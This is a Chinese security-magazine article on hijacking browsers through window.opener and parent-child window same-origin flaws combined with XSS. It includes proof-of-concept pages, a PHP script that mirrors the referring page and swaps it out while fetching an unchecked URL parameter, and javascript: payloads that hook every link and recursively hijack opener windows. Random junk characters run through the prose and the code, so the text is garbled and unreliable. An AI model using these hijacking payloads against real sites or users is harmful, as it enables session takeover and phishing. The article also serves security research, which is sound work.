==Ph4nt0m Security Team==
W/ E8 i3 O, f1 n8 |$ B
2 |0 W0 V6 v4 a! ^ Issue 0x03, Phile #0x05 of 0x07$ i! ~! b$ }7 x. ?
& ]2 j. P: g a6 A. t9 a; G1 T- X! Z0 o
|=---------------------------------------------------------------------------=|+ |! Y1 m' ?% T8 `
|=---------------=[ 利用窗口引用漏洞和XSS漏洞实现浏览器劫持 ]=---------------=|
* P' x% s& G6 M4 I( B|=---------------------------------------------------------------------------=|
* A: b' o8 z3 m w4 v3 C: ~+ G|=---------------------------------------------------------------------------=|8 ]$ P H: e9 f) _0 r) y
|=------------------------=[ By rayh4c ]=---------------------------=|
# T3 d9 l, @0 c; ]' @: H|=----------------------=[ <rayh4c#80sec.com> ]=------------------------=|
9 R, o0 v9 g D1 D, @/ T|=---------------------------------------------------------------------------=|
: K, S6 k% w. W1 ]0 k: ]9 W5 Z) P0 k# w' |( }# |8 o
3 I( p8 ^- A. J/ h( a8 R0 x[目录]
n# `1 u. y8 w$ s0 R4 z' ]8 A6 X5 E1 {# Z0 Q) `6 I
1. 前言
8 g3 j/ Q6 V9 K/ L. b2. 同源策略简叙: i6 J3 X7 f1 T2 f0 ` a
3. 理解window对象的同源策略% m" o+ G0 r; D& U5 h
4. 窗口引用功能中的同源策略漏洞5 o& Q" Y5 C v% ^' d. g$ {
4.1 父窗口引用子窗口的同源策略问题
7 m! r* v$ R9 ?' H# ~7 c/ r& r 4.2 子窗口引用父窗口的同源策略问题7 r R4 B5 \, Y. ^
5. 利用窗口引用漏洞劫持浏览器
8 @* c3 a V7 @# N% Q6. 利用XSS漏洞劫持浏览器
! O5 ?! S' x) V, [( y4 g t 6.1 正向跨窗口劫持
+ M _) ^& }1 H8 P, ?* P 6.2 反向跨窗口劫持! u1 l. A' J6 V" f. i& c z
6.3 极度危险的跨框架窗口引用劫持% P- }( r7 L1 \3 C$ |
6.4 极度危险的正反向跨窗口递归劫持/ d2 q4 i+ r* D+ ^. Z1 o
6.5 完全控制浏览器
, X. R* H* V/ K8 m" c+ z7. 后记+ X' H/ Y" a3 m- M$ q
8. 参考
0 [# M6 j; e! r1 {
. I* { q" A8 t0 D( F5 F4 _" m5 t* ]% z4 d
一、前言& B! u/ @; c" t5 B' k
& \5 C& x& V3 h: O C) [- q
最近国内关于XSS漏洞的技术文档都比较少,所以决定写这篇文档,其中的很多细节和朋* ~, {) a7 h% E5 s. N) Z
友们都沟通讨论很久了,其中包括了我对浏览器同源策略和XSS的一些理解。XSS漏洞从Session6 a! G0 s& k" M! h& _& E
劫持、钓鱼、XSS WORM等主流攻击方式发展到现在,告诉了大家一个真正的跨站师是不会被; c8 _- X5 j- N+ D/ R( a$ c
条条框框所束缚,跨站师们在不断的创新,跨站师们会展示XSS漏洞的所有可能。
3 G W" F4 ^( p
# c- B. z4 ?6 n" t' D5 } D1 n. E( d9 z. x
二、同源策略简叙3 d D3 O5 d- G
# X2 e( C' @% z 同源策略是浏览器的安全基础,它是浏览器支持的客户端脚本的重要安全标准,我们可以) W: N3 ^% F, F( _- S* ]3 g
从“源”上了解这一安全标准,按照W3C的标准这个“源”包括域名、协议和端口,各大浏览器都
' A* [! H& b' i/ N m' p曾爆出过很多同源策略漏洞,危害程度各有不同,比如从06年开始流行至今的MS06-014网页木* e$ B- u, P4 k7 o y- {' l& s2 p& w
马漏洞都已经完全颠覆了同源策略。这次的文档主要说的是DOM的同源策略(参考2)中的一个
: `7 P; q7 j1 H漏洞,然后从漏洞引申到XSS漏洞如何利用DOM的同源策略特性,最终实现浏览器劫持。" w$ p0 ^9 E7 d* ]- C8 r% _
7 B) V" t9 H l4 E
2 w: I( M1 ] h. m6 n
三、理解window对象的同源策略
8 h" c0 J) z: V2 u+ v7 l# p; Q6 A, Q
窗口即指的是浏览器窗口,每个浏览器窗口都可以使用window对象实例来表示,window对8 \$ ^1 s( B* F+ C' V- u' A
象有很多属性和方法,写一个简单的脚本可以历遍出window对象的所有属性和方法:) W8 T1 U9 L. N. v% g' `
- R2 o3 J. ~& Q( |* V/ s
--code-------------------------------------------------------------------------
4 O6 E# \5 g% M3 e( }<script language="javascript">
& `- k* l- B% \% g S* j$ pfor(p in window) document.write(p+"<br>");" _4 w3 D' K ]$ t! v: h- `
</script>
0 F, E! n1 F; a# n-------------------------------------------------------------------------------
0 @$ L8 p3 U7 \/ H# V4 d9 ]
1 |9 H4 j9 H3 u- M0 ] 这些window对象的属性和方法可以改变窗口的外观和窗口网页的内容,当这些属性和方; J# Q& Q3 ~9 x" Y) n T
法只在一个窗口中使用并不会凸显出安全问题,但是当多个window对象开始互相引用的时候,, t2 t/ g' G: I3 a) C$ b
这些属性和方法就必须遵循同源策略。, |8 L: ~: ?- O, l; ~4 ?
: j$ |9 N6 y# w5 s 举一个简单的例子,如果在a.com的网页可以调用b.com网页window对象的属性和方法,那
1 i% p. Y5 w. |# W0 V m么跨站师就可以随便XSS互联网上任何一个网站了,所以为了避免安全问题,同源策略是必须; T# t h: ?0 k0 j0 E) y; Z* N
的。我们可以把下面的脚本保存为demo.html到本地打开或者丢到远程服务器上进行测试,这; Y! n+ X( q+ j9 F2 c$ H+ L$ S P! s
个脚本的效果是调用不同源的子窗口window对象的属性和方法,我们会发现location属性的
1 @9 t! X- R% e/ a$ P. |! n/ X/ r0 X值类型是空白的,这种情况太特殊了,说明不同源的父窗口引用子窗口window对象的location/ L2 W {$ \9 V/ H* w
属性并没有被拒绝访问。( b R F- A6 H \# v& _. P$ P* P
% i; i9 A2 J! d& U/ D) g
--demo.html--------------------------------------------------------------------
' r: V- O4 O1 e1 a<script language="javascript"> ( \1 O D1 Q4 q! N
function allPrpos(obj) { 5 H- n; n) x$ l+ ]
var props = "<table><tr><td>名称</td><td>值</td>";
5 ?0 A E9 ~, W5 w for(var p in obj){
2 `5 L5 X" A3 B1 v3 u if(typeof(obj[p])=="function"){ . y* D% f7 B6 |. R/ H. Y! Q. p
obj[p](); 6 T7 O. u) L! w" l0 d
}else{
* U- D$ D4 m3 H try
# l% |; o S* J( _' _ { m" W& Z3 D* S7 m7 D
props+="<tr><td>"+p + "</td><td>" + obj[ p ] + "</td></tr>"; 4 u3 r' G7 q( E* S6 |
} / Z: ^/ E/ J5 _2 [8 ]! w* C3 P, V2 _
catch (ex) " U: O+ r0 S5 k
{ 3 {2 _+ u" }2 t% v0 m; _0 _; D. K
0 D% ]& w( h7 I7 i5 ?. G props+= "<tr><td>"+p + "</td><td>" +ex.message+"</td></tr>"; , f' X1 M+ P1 K
}
3 k, l# G) `: w& ?
/ Z- @8 {0 P' q+ ?3 {3 q0 J }
0 _7 `3 p1 ?! X7 C7 I6 {" y! J }
" d" F( Q1 d) W8 ^
4 }$ C/ b% B! F1 f document.write(props+"</table>"); 8 X. i% a, J6 V& c5 l
} ! ?; H6 i s6 [0 J" v" P) V* v+ O
( P2 s+ ?# b' s; Vfunction createWin() {( u# Q, H5 Y% r
newWin = window.open ("http://www.google.com"); " U, W0 V( O, m- S( X' I+ `
setTimeout(function(){allPrpos(newWin)},2000);
6 O/ `1 T( X6 T% r. |6 ]} * P7 i0 L) X. ]7 z2 }
, n/ B: K. W. j: W& l$ X</script> 0 f" g2 u5 l. h, @; [
; t7 q& x7 M$ q0 l1 R) C
<button onclick='createWin()'>创建一个非同源子窗口测试</button>
7 @3 ?) t# L8 G" b- h7 L. `7 B+ @-------------------------------------------------------------------------------
' d( f0 \/ D. D# G: F# U5 C% |" c* e' }8 b9 J
f7 a: ]* ^5 i: l& g# R四、窗口引用功能中的同源策略漏洞
! t: J4 x4 `3 p
! w+ N% I' z5 T' }- I4.1 父窗口引用子窗口的同源策略问题
$ a# ? i0 a) k* C3 }3 E) t7 U2 ?* s5 N
去年我在幻影杂志发过的IE6跨域脚本漏洞,这个问题微软已经发布了ms08-058补丁修复,
* Z: m, V D/ N; x( m但这个漏洞仍然暴露了父窗口引用子窗口的同源策略问题。根据第二部分的测试,我们知道; f" Z% @+ L$ H& ~- t3 Y @
浏览器并没有阻止父窗口访问非同源子窗口的location属性值,我们可以使用下面的脚本进
2 t }, [$ Y4 s行测试,会发现父窗口可以控制非同源子窗口location属性值。
1 @1 M3 `4 z( Q" w# d2 s) ?% S2 ?# x0 x! w: a# E/ f6 d+ _
--vul1.html--------------------------------------------------------------------3 y& }+ H( d- G6 @) g1 I8 m
<script language="javascript"> * v7 H' T; t `" n' N, v
function createWin() {
' V g$ [+ J L0 \# } newWin = window.open ("http://www.google.com"); ' G% h% A! W4 T0 B
setTimeout(function(){newWin.location="http://www.80sec.com"},2000); + ^( {8 f6 u# R$ T4 t- O2 |$ w
}
* q8 \) R8 I* Q6 d2 h9 F</script>
% r! k- K+ U* r1 _: M) v, e/ O: l4 I; N, m2 S& I2 E
<button onclick='createWin()'>创建一个非同源子窗口测试</button>* P; E5 w9 r3 k( Z
-------------------------------------------------------------------------------4 z$ c) c) A" L
% ?$ p: C5 T0 Q
( q, o0 M+ C) V) t4.2 子窗口引用父窗口的同源策略问题- \" ^/ W5 L9 W& F
5 {0 e! S! g6 {5 [) M3 F2 u2 w
逆向测试一次会发现子窗口引用父窗口也存在同样的问题,这里为了更方便和直观我使
1 i5 |# x1 f' ?; v用javascript伪协议进行验证。子窗口引用父窗口的window对象属性是window.opener,我们: s" o9 J2 k, b5 s* q
可以随意浏览一个网站点击链接打开N个网页,在这些网页的地址栏注入下面的脚本,你一定# C( ?$ F3 \, |7 Z1 ~) B! i# o7 V
会惊奇的发现,不管同源还是非同源的父窗口都转跳到了80SEC网站。6 r0 [% L, u [! Z$ ~, P
: {8 `4 n. |9 I/ n
--code-------------------------------------------------------------------------
( ?, E' R8 }- q7 k# c% [
& q6 x+ N0 _( `javascript:window.opener.location = "http://www.80sec.com";void(0);3 ~! A8 J2 C D3 v* l7 u/ G* H
; y4 K! O# I A4 {9 @$ J-------------------------------------------------------------------------------( m1 D) p' x7 T$ [1 `4 l9 B( S
( H" |6 N B; @# E, C+ L5 G( B; B+ l I: E( M* l, a' F
五、利用窗口引用漏洞劫持浏览器
* l |/ x# h9 u: z0 s: l. P* W# C: ~6 B# f) \
经过上面三个枯燥的测试,我们已经暴露了浏览器一个非常严重的安全问题,非同源的子
; S$ ?5 N# D! x0 `, [/ [/ M8 D1 v窗口和父窗口可以互相引用控制window对象的location属性值,并没有严格遵循同源策略,那* x" w! w4 F" {$ ?8 E
么用户在浏览器中的所有点击行为都有可能被跨站师变相控制。3 j: H I# t' ?
* G8 ^( t. O, F) l$ `( e$ K
我们打开浏览器访问互联网上的各个网站,无时无刻不在点击链接,我们点击链接想要产
* a) d4 H4 m. K; Z. Q! f1 l生的结果是去访问我们想要去的URL地址,用户的正常点击只会产生两个结果,打开新窗口或
( M4 j' ~; m n/ U# Y5 F者当前窗口转跳,试想一下你在SNS网站、电子商务网站、BLOG、论坛里点击一个正常的链接
- L* @' @3 ^# G后,打开了一个“无害”的网页,原本浏览的信任网页却已经被悄悄替换了,大家可以联想一下9 t$ D/ f% {* u Y
会产生什么可怕的后果。. S# v. h$ o. L) `( }7 [
% q8 d( R8 D' M7 C
下面我写了一个劫持浏览器的小Demo,思路是获取REFERER后生成镜像页面,同时加入我
+ _! e: F4 ]1 _" |2 p, i$ i- o们的劫持脚本。比如把这个hjk_ref.php丢到本地服务器上测试,将http://127.0.0.1/hjk_ref.php
5 P1 ~- \) Q( L9 V" Q" L这样的链接发到任意一个网站上,点击链接打开新窗口,当所有的注意力都停滞在新窗口的时
! c; m, \9 A. I$ M3 M0 V( ?候,3秒后一个镜像页面将会悄悄替换链接所在页。按照类似的思路,发挥跨站师的想象力,可2 m2 Z! R8 z& |
以做更多的事情,所有的一切仅仅是因为点击了一个链接。: ]; u( S) ~1 j+ B: }
% l9 m) T6 T3 N
--hjk_ref.php------------------------------------------------------------------; y9 N0 L4 h" k
<?php7 I+ ?6 b' t6 x5 H4 ^; e; t
if (array_key_exists("HTTP_REFERER", $_SERVER)) {
& W; K4 v) x- \( h: L* d$Url_Mirror = $_SERVER["HTTP_REFERER"];
- H/ E3 V" e$ Q: e$ C! e}
; i u2 j6 [4 t' p4 s \$ a, _if(isset ($_GET['ref'])) {3 e+ ^6 L1 V7 U8 X3 V! p) ^) Z& j
echo file_get_contents($_GET['ref']) . '<script>alert(\'I had been hijacking your browser!\')</script>';
3 V* C8 f* g" M" b, W% N' j* e}9 h# x. o% N6 o9 N3 \0 x
?>
7 y3 Z- `* ^; m" v6 ]" b4 n$ N
1 @4 L1 \5 h' c* n9 a9 E4 x c+ p' b<script language="javascript">
) j9 X5 A! v: r+ Y* g" w5 I& tsetTimeout(function(){window.opener.location=window.location+"?ref=<?echo $Url_Mirror;?>"},3000); $ |* ^' }/ Y7 r* P3 h8 ?
</script>0 P3 a. a) j: i+ X9 q
-------------------------------------------------------------------------------
; Q& x, M2 x: u0 ^8 Y0 P! C" K9 U. d" T* x9 H* M8 B9 ]+ x
注:各大主流浏览器仅opera和internet explorer 8不存在窗口引用漏洞。
$ v3 |0 r$ ^* L& m6 ]4 c% x% G( f" ]7 W! e \3 C, @3 Y0 X
4 P$ v# G( O0 z- y( V: O六、利用XSS漏洞劫持浏览器
- S% E* A$ v% P" O% C2 ^4 T7 ~( `" d8 o- a6 g) ]
延续第四部分的思路,这部分将进入本文的一个重要环节.跨站师们都知道XSS漏洞分为
# E2 ^* T& q- z2 f7 P+ p$ G6 s持久和非持久两种,这两种类型的漏洞无论怎么利用都无法跳出窗口的生命周期,窗口关闭后
- S5 P; V/ N1 p. y- BXSS漏洞的效果也就完全消失,窗口的限制一直束缚着跨站师们的发挥,我这里将和大家一起
2 H# g/ s, I; [: \$ Z讨论跨站师的终极技巧:
/ d6 C. B5 o2 F
. _5 a% y$ S0 d& u( l- u! V4 t. W% y# h" [4 I
6.1 正向跨窗口劫持
4 Z0 Z; H J" y9 \3 {7 J2 |
6 c6 [7 E; L& n 大家可以先试验下hijack_open.js这个脚本,比如打开http://bbs.dvbbs.net/动网论坛' A! b T. b/ f1 X: a2 q
主页,我们在地址栏里复制下面的代码使用伪协议注入hijack_open脚本,然后整个页面的链
; k& c5 L% ?% u+ b9 t, k接就都被劫持住了,点击论坛里的任意一个链接,打开的新窗口都会被注入了一个alert对话
7 E$ H' q1 v9 ?$ N% w& H& v( W框脚本。 $ U0 _% T) r$ S0 V) y, K
0 r2 B# @7 x7 Q, U' B5 ]; n--hijack_open.js---------------------------------------------------------------: ?; _2 b' Z$ h" k2 w
/ N2 c; F! q" u( o4 j( Ljavascript:for(i=0;i<document.links.length;i++){document.links.onclick=function(){x=window.open(this.href);setTimeout(function(){try{x.location="javascript:alert('I had been hijacking your browser!')"}catch(e){};return false;},3000);return false;}};void(0);
# C! |2 y4 v0 w- e! J* m/ N
8 w- b4 H, u! B' f$ `-------------------------------------------------------------------------------
0 W5 \* s$ _8 W3 N9 E3 h
: d; D6 L0 W( y/ b% }! h; ^$ x7 W; V' [
6.2 反向跨窗口劫持
5 |/ y( ^& h, j. C( H
( u$ L. a. U: Z3 q) N1 x 同样我们也可以在动网论坛试验,新打开任意一个版块的窗口,在地址栏里复制下面的代+ _: }' i# |/ R
码使用伪协议注入hijack_opener脚本,我们会发现原来的页面被反向注入了一个alert对话% }. ]( i9 r0 @5 ^- k
框脚本。
7 {/ g/ x6 ], C9 S0 R( f. `" z: i* M& |% m- f# m: _
--hijack_opener.js-------------------------------------------------------------0 m3 p5 q: U; L- g8 ]
( d$ w9 I; d( X' Q) Q! L9 G
javascript:window.opener.location="javascript:alert('I had been hijacking your browser!')";void(0);
4 A# t) Q% b8 _. c
4 t) B- h& d; c-------------------------------------------------------------------------------! N5 b" h# y& y$ ]
$ J. h a( C' ^& B
5 j) C3 X6 r, p4 g
6.3 极度危险的跨框架窗口引用劫持! z4 N+ o: q# i
& C. w9 O6 b, W. ^, D) v; t+ V 非持久型XSS漏洞是在URL参数中注入脚本,一度被认为很鸡肋,一个非持久型的XSS漏洞
) ~. b$ z; ~* Q! B$ P& T& c: |可能出现URL参数过于冗长等缺点,下面这个window.parent.opener的跨框架窗口引用技巧就
) C) J1 E e* _3 v1 C4 Z- L适用于所有的非持久型XSS漏洞,我们可以在一个被攻击者的信任网站上的网页里iframe一个
6 @( Q h, C, Y/ V6 n非持久型的XSS,如下:8 Z0 z2 ^- \, w* R
/ @% d T" Q" _: r1 A<iframe src='http://www.target.com/index.php?vul=xss'width='0' height='0'>+ C2 n% N, o* K+ a0 G
; f1 g# F% F( ~4 a 在vul参数中写入下面的hijack_frame_opener脚本,跨站师就可以反向跨框架引用窗口
) o, d5 S4 F' I& s1 x8 h5 I, Z1 m注入脚本。/ C' Y* x4 n. u/ C1 P
" y% g- ^$ m) P% D
--hijack_frame_opener.js-------------------------------------------------------# W2 O# Y/ A' w$ x1 Q; Q
<script>
. U$ W; U$ [! @0 O) ^: t8 ewindow.parent.opener.location="javascript:alert('I had been hijacking your browser!')";
% }5 ^- y) X! H$ F3 I0 B) X</script>
) Q& N* e7 l6 F1 A-------------------------------------------------------------------------------; g: @( m1 k, h4 M3 a9 g
# r1 Y* b* Y: ]4 I6 g- N
. P2 c# i2 q3 g
6.4 极度危险的正反向跨窗口递归劫持
4 @5 L6 [2 ^5 G- I j4 W5 `' O7 N {) [* T3 C3 }7 M
luoluo建议我加上了这一部分,窗口之间的引用关系可能是复杂的,我们可以通过window* N s7 U9 l1 E6 i( |
的opener属性链反向递归查找窗口注入XSS脚本,将互相引用过的同域窗口全部劫持,并通过2 [ |2 b! q, ^8 J" u6 R
异常处理规避之间跨域页面的访问异常,代码如下:
+ o2 y, z3 j8 i( C/ `/ F( n2 q$ a C* ?8 D3 K
--code-------------------------------------------------------------------------; e, t* D8 t. T6 e
# D. r9 a% z* \6 N$ [4 rjavascript function(){var w=window;while(w.opener){w=w.opener;try{w.location="javascript:alert('I had been hijacking your browser!');void(1);";}catch(e){}}})();void(0);
& B7 S5 Q% m7 ~- D5 f4 b5 a9 |0 \2 f
-------------------------------------------------------------------------------
( P/ Y) i7 K9 I5 r8 i( b
3 Q9 A3 D/ @2 |( l3 m- ^ 假设页面打开序列有A域->B域->A域的情况,通过对第二个A域页面的反向递归劫持则可
7 \, h! n: o7 @# [/ c4 B以劫持B域之前的A域页面,从而实现“隔空打击”。
' h! V; j# k+ F, I! h: x: n( ~6 C5 L4 C2 h# F/ V/ o
同理,正向跨窗口劫持也可以实现递归劫持所有同域的链接,对每个打开的被劫持的页面
8 \6 i& K% k' {" h5 e7 R执行和第一个页面一样的劫持脚本,但是正向递归没法实现反向递归的那种“隔空打击”。
4 I1 x; @3 E" B F( ]
+ B$ \, l( K# _( _6 t 结合正向和反向的链式递归劫持,最终我们可以劫持所有的同域页面。
1 Q# i- Q/ s1 @' m! A: _3 \" _6 S: z2 j0 n; j6 s! x
3 z5 c* Z$ }( M: j$ V) J6.5 完全控制浏览器
- ?8 R g$ N i4 n: a* D3 S! i) S, Q' i+ h: e6 h
一个跨站脚本漏洞的真正意义在程序员的角度是输入和输出问题,而在跨站师的角度则
7 R5 k4 L+ a2 O. [+ ?0 N4 D是能够进入同源策略了,可以摆脱同源策略的束缚做任何想做的事情。跨站师们可以利用XSS# ~" U! k' f; g' n3 ?& }. P
漏洞在同源策略允许的范围内再跨页面注入脚本,可以不再为窗口关闭后XSS漏洞的效果消失
; y3 \ V% z5 U8 e" ~8 T5 ?而烦恼,劫持窗口后的跨站师们可以任意发挥,劫持表单,劫持请求,劫持输入等等,我就不再. q, j% y" d: K6 _1 ~4 E0 e$ @
列举实例。无论是持久型还是非持久型的XSS漏洞都是能够发挥最大的威力的,最后实现跨站. `( d. ?& {) L- [! J- G
师的终极目标 - 完全控制浏览器。! L9 L7 n8 ^5 ?; Q5 `; a: X
6 t+ ` M" u% J: R, F2 h5 P+ p. i( F; R& d1 H8 v
七、后记
5 {7 r; U4 ^; f4 J. e/ U" z$ y, x( X- k( I) f
文章涉及的安全技术全部都是纯研究性质,请不要将这些技术使用在非法途径上。安全4 ?# d, U. \2 q
与应用永远是一个矛盾体,通往安全的路永远不止一条。感谢对这篇文档的思路和技术给予
2 | l; C" O. z$ F5 _过帮助的luoluo、cnqing、linx以及80Sec团队的所有成员。
$ M! }5 D$ | v9 e; S K/ |7 C5 @2 x
# }+ H9 n$ b( j5 ~
八、参考1 @' j0 G$ Q% L, E
( |# r: i o* d g0 \1. http://en.wikipedia.org/wiki/Same_origin_policy" m2 z2 ~% }5 S8 M* @' A% C
2. http://code.google.com/p/browser ... licy_for_DOM_access
, q' @% @7 K) O% u' w s2 c$ ^3. http://www.w3.org/TR/Window/& H: D5 G3 n, F0 _6 p- W& L/ `( q! D
4. http://www.80sec.com/release/browser-hijacking.txt) m, ]1 F3 }9 [+ R
5. http://www.80sec.com/all-browser-security-alert.html$ b! ~* _5 u" s6 O: J4 a: z
6. http://www.80sec.com/ms08-058-attacks-google.html
8 @: H! o2 R2 V2 t0 |4 @& F, r' X9 D, e) |, k1 n6 J
-EOF- |